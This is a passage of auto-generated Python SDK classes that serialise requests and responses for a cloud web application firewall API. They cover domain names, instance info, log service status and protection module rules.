_map is not None:\n return _map\n\n result = dict()\n if self.total_count is not None:\n result['TotalCount'] = self.total_count\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.domain_names is not None:\n result['DomainNames'] = self.domain_names\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('TotalCount') is not None:\n self.total_count = m.get('TotalCount')\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('DomainNames') is not None:\n self.domain_names = m.get('DomainNames')\n return self\n\n\nclass DescribeDomainListResponse(TeaModel):\n def __init__(self, headers=None, body=None):\n self.headers = headers # type: dict[str, str]\n self.body = body # type: DescribeDomainListResponseBody\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeDomainListResponse, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeDomainListResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeDomainNamesRequest(TeaModel):\n def __init__(self, instance_id=None, resource_group_id=None):\n self.instance_id = instance_id # type: str\n self.resource_group_id = resource_group_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainNamesRequest, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeDomainNamesResponseBody(TeaModel):\n def __init__(self, request_id=None, domain_names=None):\n self.request_id = request_id # type: str\n self.domain_names = domain_names # type: list[str]\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainNamesResponseBody, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.domain_names is not None:\n result['DomainNames'] = self.domain_names\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('DomainNames') is not None:\n self.domain_names = m.get('DomainNames')\n return self\n\n\nclass DescribeDomainNamesResponse(TeaModel):\n def __init__(self, headers=None, body=None):\n self.headers = headers # type: dict[str, str]\n self.body = body # type: DescribeDomainNamesResponseBody\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeDomainNamesResponse, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeDomainNamesResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeDomainRuleGroupRequest(TeaModel):\n def __init__(self, domain=None, instance_id=None):\n self.domain = domain # type: str\n self.instance_id = instance_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainRuleGroupRequest, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass DescribeDomainRuleGroupResponseBody(TeaModel):\n def __init__(self, rule_group_id=None, request_id=None):\n self.rule_group_id = rule_group_id # type: long\n self.request_id = request_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainRuleGroupResponseBody, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.rule_group_id is not None:\n result['RuleGroupId'] = self.rule_group_id\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RuleGroupId') is not None:\n self.rule_group_id = m.get('RuleGroupId')\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass DescribeDomainRuleGroupResponse(TeaModel):\n def __init__(self, headers=None, body=None):\n self.headers = headers # type: dict[str, str]\n self.body = body # type: DescribeDomainRuleGroupResponseBody\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeDomainRuleGroupResponse, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeDomainRuleGroupResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeInstanceInfoRequest(TeaModel):\n def __init__(self, instance_id=None, resource_group_id=None):\n self.instance_id = instance_id # type: str\n self.resource_group_id = resource_group_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeInstanceInfoRequest, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeInstanceInfoResponseBodyInstanceInfo(TeaModel):\n def __init__(self, status=None, end_date=None, version=None, remain_day=None, region=None, pay_type=None,\n in_debt=None, instance_id=None, subscription_type=None, trial=None):\n self.status = status # type: int\n self.end_date = end_date # type: long\n self.version = version # type: str\n self.remain_day = remain_day # type: int\n self.region = region # type: str\n self.pay_type = pay_type # type: int\n self.in_debt = in_debt # type: int\n self.instance_id = instance_id # type: str\n self.subscription_type = subscription_type # type: str\n self.trial = trial # type: int\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeInstanceInfoResponseBodyInstanceInfo, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.status is not None:\n result['Status'] = self.status\n if self.end_date is not None:\n result['EndDate'] = self.end_date\n if self.version is not None:\n result['Version'] = self.version\n if self.remain_day is not None:\n result['RemainDay'] = self.remain_day\n if self.region is not None:\n result['Region'] = self.region\n if self.pay_type is not None:\n result['PayType'] = self.pay_type\n if self.in_debt is not None:\n result['InDebt'] = self.in_debt\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.subscription_type is not None:\n result['SubscriptionType'] = self.subscription_type\n if self.trial is not None:\n result['Trial'] = self.trial\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Status') is not None:\n self.status = m.get('Status')\n if m.get('EndDate') is not None:\n self.end_date = m.get('EndDate')\n if m.get('Version') is not None:\n self.version = m.get('Version')\n if m.get('RemainDay') is not None:\n self.remain_day = m.get('RemainDay')\n if m.get('Region') is not None:\n self.region = m.get('Region')\n if m.get('PayType') is not None:\n self.pay_type = m.get('PayType')\n if m.get('InDebt') is not None:\n self.in_debt = m.get('InDebt')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('SubscriptionType') is not None:\n self.subscription_type = m.get('SubscriptionType')\n if m.get('Trial') is not None:\n self.trial = m.get('Trial')\n return self\n\n\nclass DescribeInstanceInfoResponseBody(TeaModel):\n def __init__(self, request_id=None, instance_info=None):\n self.request_id = request_id # type: str\n self.instance_info = instance_info # type: DescribeInstanceInfoResponseBodyInstanceInfo\n\n def validate(self):\n if self.instance_info:\n self.instance_info.validate()\n\n def to_map(self):\n _map = super(DescribeInstanceInfoResponseBody, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.instance_info is not None:\n result['InstanceInfo'] = self.instance_info.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('InstanceInfo') is not None:\n temp_model = DescribeInstanceInfoResponseBodyInstanceInfo()\n self.instance_info = temp_model.from_map(m['InstanceInfo'])\n return self\n\n\nclass DescribeInstanceInfoResponse(TeaModel):\n def __init__(self, headers=None, body=None):\n self.headers = headers # type: dict[str, str]\n self.body = body # type: DescribeInstanceInfoResponseBody\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeInstanceInfoResponse, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeInstanceInfoResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeInstanceInfosRequest(TeaModel):\n def __init__(self, instance_source=None, instance_id=None, resource_group_id=None):\n self.instance_source = instance_source # type: str\n self.instance_id = instance_id # type: str\n self.resource_group_id = resource_group_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeInstanceInfosRequest, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.instance_source is not None:\n result['InstanceSource'] = self.instance_source\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceSource') is not None:\n self.instance_source = m.get('InstanceSource')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeInstanceInfosResponseBodyInstanceInfos(TeaModel):\n def __init__(self, status=None, end_date=None, remain_day=None, region=None, pay_type=None, in_debt=None,\n instance_id=None, subscription_type=None, trial=None):\n self.status = status # type: int\n self.end_date = end_date # type: long\n self.remain_day = remain_day # type: int\n self.region = region # type: str\n self.pay_type = pay_type # type: int\n self.in_debt = in_debt # type: int\n self.instance_id = instance_id # type: str\n self.subscription_type = subscription_type # type: str\n self.trial = trial # type: int\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeInstanceInfosResponseBodyInstanceInfos, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.status is not None:\n result['Status'] = self.status\n if self.end_date is not None:\n result['EndDate'] = self.end_date\n if self.remain_day is not None:\n result['RemainDay'] = self.remain_day\n if self.region is not None:\n result['Region'] = self.region\n if self.pay_type is not None:\n result['PayType'] = self.pay_type\n if self.in_debt is not None:\n result['InDebt'] = self.in_debt\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.subscription_type is not None:\n result['SubscriptionType'] = self.subscription_type\n if self.trial is not None:\n result['Trial'] = self.trial\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Status') is not None:\n self.status = m.get('Status')\n if m.get('EndDate') is not None:\n self.end_date = m.get('EndDate')\n if m.get('RemainDay') is not None:\n self.remain_day = m.get('RemainDay')\n if m.get('Region') is not None:\n self.region = m.get('Region')\n if m.get('PayType') is not None:\n self.pay_type = m.get('PayType')\n if m.get('InDebt') is not None:\n self.in_debt = m.get('InDebt')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('SubscriptionType') is not None:\n self.subscription_type = m.get('SubscriptionType')\n if m.get('Trial') is not None:\n self.trial = m.get('Trial')\n return self\n\n\nclass DescribeInstanceInfosResponseBody(TeaModel):\n def __init__(self, request_id=None, instance_infos=None):\n self.request_id = request_id # type: str\n self.instance_infos = instance_infos # type: list[DescribeInstanceInfosResponseBodyInstanceInfos]\n\n def validate(self):\n if self.instance_infos:\n for k in self.instance_infos:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeInstanceInfosResponseBody, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n result['InstanceInfos'] = []\n if self.instance_infos is not None:\n for k in self.instance_infos:\n result['InstanceInfos'].append(k.to_map() if k else None)\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n self.instance_infos = []\n if m.get('InstanceInfos') is not None:\n for k in m.get('InstanceInfos'):\n temp_model = DescribeInstanceInfosResponseBodyInstanceInfos()\n self.instance_infos.append(temp_model.from_map(k))\n return self\n\n\nclass DescribeInstanceInfosResponse(TeaModel):\n def __init__(self, headers=None, body=None):\n self.headers = headers # type: dict[str, str]\n self.body = body # type: DescribeInstanceInfosResponseBody\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeInstanceInfosResponse, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeInstanceInfosResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeInstanceSpecInfoRequest(TeaModel):\n def __init__(self, instance_id=None, resource_group_id=None):\n self.instance_id = instance_id # type: str\n self.resource_group_id = resource_group_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeInstanceSpecInfoRequest, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeInstanceSpecInfoResponseBodyInstanceSpecInfos(TeaModel):\n def __init__(self, value=None, code=None):\n self.value = value # type: str\n self.code = code # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeInstanceSpecInfoResponseBodyInstanceSpecInfos, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.value is not None:\n result['Value'] = self.value\n if self.code is not None:\n result['Code'] = self.code\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Value') is not None:\n self.value = m.get('Value')\n if m.get('Code') is not None:\n self.code = m.get('Code')\n return self\n\n\nclass DescribeInstanceSpecInfoResponseBody(TeaModel):\n def __init__(self, instance_spec_infos=None, request_id=None, instance_id=None, version=None, expire_time=None):\n self.instance_spec_infos = instance_spec_infos # type: list[DescribeInstanceSpecInfoResponseBodyInstanceSpecInfos]\n self.request_id = request_id # type: str\n self.instance_id = instance_id # type: str\n self.version = version # type: str\n self.expire_time = expire_time # type: long\n\n def validate(self):\n if self.instance_spec_infos:\n for k in self.instance_spec_infos:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeInstanceSpecInfoResponseBody, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n result['InstanceSpecInfos'] = []\n if self.instance_spec_infos is not None:\n for k in self.instance_spec_infos:\n result['InstanceSpecInfos'].append(k.to_map() if k else None)\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.version is not None:\n result['Version'] = self.version\n if self.expire_time is not None:\n result['ExpireTime'] = self.expire_time\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n self.instance_spec_infos = []\n if m.get('InstanceSpecInfos') is not None:\n for k in m.get('InstanceSpecInfos'):\n temp_model = DescribeInstanceSpecInfoResponseBodyInstanceSpecInfos()\n self.instance_spec_infos.append(temp_model.from_map(k))\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Version') is not None:\n self.version = m.get('Version')\n if m.get('ExpireTime') is not None:\n self.expire_time = m.get('ExpireTime')\n return self\n\n\nclass DescribeInstanceSpecInfoResponse(TeaModel):\n def __init__(self, headers=None, body=None):\n self.headers = headers # type: dict[str, str]\n self.body = body # type: DescribeInstanceSpecInfoResponseBody\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeInstanceSpecInfoResponse, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeInstanceSpecInfoResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeLogServiceStatusRequest(TeaModel):\n def __init__(self, instance_id=None, region=None, resource_group_id=None, page_number=None, page_size=None,\n domain_names=None):\n self.instance_id = instance_id # type: str\n self.region = region # type: str\n self.resource_group_id = resource_group_id # type: str\n self.page_number = page_number # type: int\n self.page_size = page_size # type: int\n self.domain_names = domain_names # type: list[str]\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeLogServiceStatusRequest, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.region is not None:\n result['Region'] = self.region\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n if self.page_number is not None:\n result['PageNumber'] = self.page_number\n if self.page_size is not None:\n result['PageSize'] = self.page_size\n if self.domain_names is not None:\n result['DomainNames'] = self.domain_names\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Region') is not None:\n self.region = m.get('Region')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n if m.get('PageNumber') is not None:\n self.page_number = m.get('PageNumber')\n if m.get('PageSize') is not None:\n self.page_size = m.get('PageSize')\n if m.get('DomainNames') is not None:\n self.domain_names = m.get('DomainNames')\n return self\n\n\nclass DescribeLogServiceStatusResponseBodyDomainStatus(TeaModel):\n def __init__(self, domain=None, sls_log_active=None):\n self.domain = domain # type: str\n self.sls_log_active = sls_log_active # type: int\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeLogServiceStatusResponseBodyDomainStatus, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.sls_log_active is not None:\n result['SlsLogActive'] = self.sls_log_active\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('SlsLogActive') is not None:\n self.sls_log_active = m.get('SlsLogActive')\n return self\n\n\nclass DescribeLogServiceStatusResponseBody(TeaModel):\n def __init__(self, total_count=None, request_id=None, domain_status=None):\n self.total_count = total_count # type: int\n self.request_id = request_id # type: str\n self.domain_status = domain_status # type: list[DescribeLogServiceStatusResponseBodyDomainStatus]\n\n def validate(self):\n if self.domain_status:\n for k in self.domain_status:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeLogServiceStatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.total_count is not None:\n result['TotalCount'] = self.total_count\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n result['DomainStatus'] = []\n if self.domain_status is not None:\n for k in self.domain_status:\n result['DomainStatus'].append(k.to_map() if k else None)\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('TotalCount') is not None:\n self.total_count = m.get('TotalCount')\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n self.domain_status = []\n if m.get('DomainStatus') is not None:\n for k in m.get('DomainStatus'):\n temp_model = DescribeLogServiceStatusResponseBodyDomainStatus()\n self.domain_status.append(temp_model.from_map(k))\n return self\n\n\nclass DescribeLogServiceStatusResponse(TeaModel):\n def __init__(self, headers=None, body=None):\n self.headers = headers # type: dict[str, str]\n self.body = body # type: DescribeLogServiceStatusResponseBody\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeLogServiceStatusResponse, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeLogServiceStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeProtectionModuleCodeConfigRequest(TeaModel):\n def __init__(self, source_ip=None, lang=None, code_type=None, code_value=None, instance_id=None,\n resource_group_id=None):\n self.source_ip = source_ip # type: str\n self.lang = lang # type: str\n self.code_type = code_type # type: int\n self.code_value = code_value # type: int\n self.instance_id = instance_id # type: str\n self.resource_group_id = resource_group_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleCodeConfigRequest, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.source_ip is not None:\n result['SourceIp'] = self.source_ip\n if self.lang is not None:\n result['Lang'] = self.lang\n if self.code_type is not None:\n result['CodeType'] = self.code_type\n if self.code_value is not None:\n result['CodeValue'] = self.code_value\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('SourceIp') is not None:\n self.source_ip = m.get('SourceIp')\n if m.get('Lang') is not None:\n self.lang = m.get('Lang')\n if m.get('CodeType') is not None:\n self.code_type = m.get('CodeType')\n if m.get('CodeValue') is not None:\n self.code_value = m.get('CodeValue')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeProtectionModuleCodeConfigResponseBody(TeaModel):\n def __init__(self, request_id=None, code_configs=None):\n self.request_id = request_id # type: str\n self.code_configs = code_configs # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleCodeConfigResponseBody, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.code_configs is not None:\n result['CodeConfigs'] = self.code_configs\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('CodeConfigs') is not None:\n self.code_configs = m.get('CodeConfigs')\n return self\n\n\nclass DescribeProtectionModuleCodeConfigResponse(TeaModel):\n def __init__(self, headers=None, body=None):\n self.headers = headers # type: dict[str, str]\n self.body = body # type: DescribeProtectionModuleCodeConfigResponseBody\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeProtectionModuleCodeConfigResponse, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeProtectionModuleCodeConfigResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeProtectionModuleModeRequest(TeaModel):\n def __init__(self, domain=None, defense_type=None, instance_id=None, resource_group_id=None):\n self.domain = domain # type: str\n self.defense_type = defense_type # type: str\n self.instance_id = instance_id # type: str\n self.resource_group_id = resource_group_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleModeRequest, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeProtectionModuleModeResponseBody(TeaModel):\n def __init__(self, learn_status=None, request_id=None, mode=None):\n self.learn_status = learn_status # type: int\n self.request_id = request_id # type: str\n self.mode = mode # type: int\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleModeResponseBody, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.learn_status is not None:\n result['LearnStatus'] = self.learn_status\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.mode is not None:\n result['Mode'] = self.mode\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('LearnStatus') is not None:\n self.learn_status = m.get('LearnStatus')\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('Mode') is not None:\n self.mode = m.get('Mode')\n return self\n\n\nclass DescribeProtectionModuleModeResponse(TeaModel):\n def __init__(self, headers=None, body=None):\n self.headers = headers # type: dict[str, str]\n self.body = body # type: DescribeProtectionModuleModeResponseBody\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeProtectionModuleModeResponse, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeProtectionModuleModeResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeProtectionModuleRulesRequest(TeaModel):\n def __init__(self, page_size=None, page_number=None, domain=None, defense_type=None, query=None, lang=None,\n instance_id=None, resource_group_id=None):\n self.page_size = page_size # type: int\n self.page_number = page_number # type: int\n self.domain = domain # type: str\n self.defense_type = defense_type # type: str\n self.query = query # type: str\n self.lang = lang # type: str\n self.instance_id = instance_id # type: str\n self.resource_group_id = resource_group_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleRulesRequest, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.page_size is not None:\n result['PageSize'] = self.page_size\n if self.page_number is not None:\n result['PageNumber'] = self.page_number\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.query is not None:\n result['Query'] = self.query\n if self.lang is not None:\n result['Lang'] = self.lang\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('PageSize') is not None:\n self.page_size = m.get('PageSize')\n if m.get('PageNumber') is not None:\n self.page_number = m.get('PageNumber')\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('Query') is not None:\n self.query = m.get('Query')\n if m.get('Lang') is not None:\n self.lang = m.get('Lang')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeProtectionModuleRulesResponseBodyRules(TeaModel):\n def __init__(self, status=None, time=None, version=None, content=None, rule_id=None):\n self.status = status # type: long\n self.time = time # type: long\n self.version = version # type: long\n self.content = content # type: dict[str, any]\n self.rule_id = rule_id # type: long\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleRulesResponseBodyRules, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.status is not None:\n result['Status'] = self.status\n if self.time is not None:\n result['Time'] = self.time\n if self.version is not None:\n result['Version'] = self.version\n if self.content is not None:\n result['Content'] = self.content\n if self.rule_id is not None:\n result['RuleId'] = self.rule_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Status') is not None:\n self.status = m.get('Status')\n if m.get('Time') is not None:\n self.time = m.get('Time')\n if m.get('Version') is not None:\n self.version = m.get('Version')\n if m.get('Content') is not None:\n self.content = m.get('Content')\n if m.get('RuleId') is not None:\n self.rule_id = m.get('RuleId')\n return self\n\n\nclass 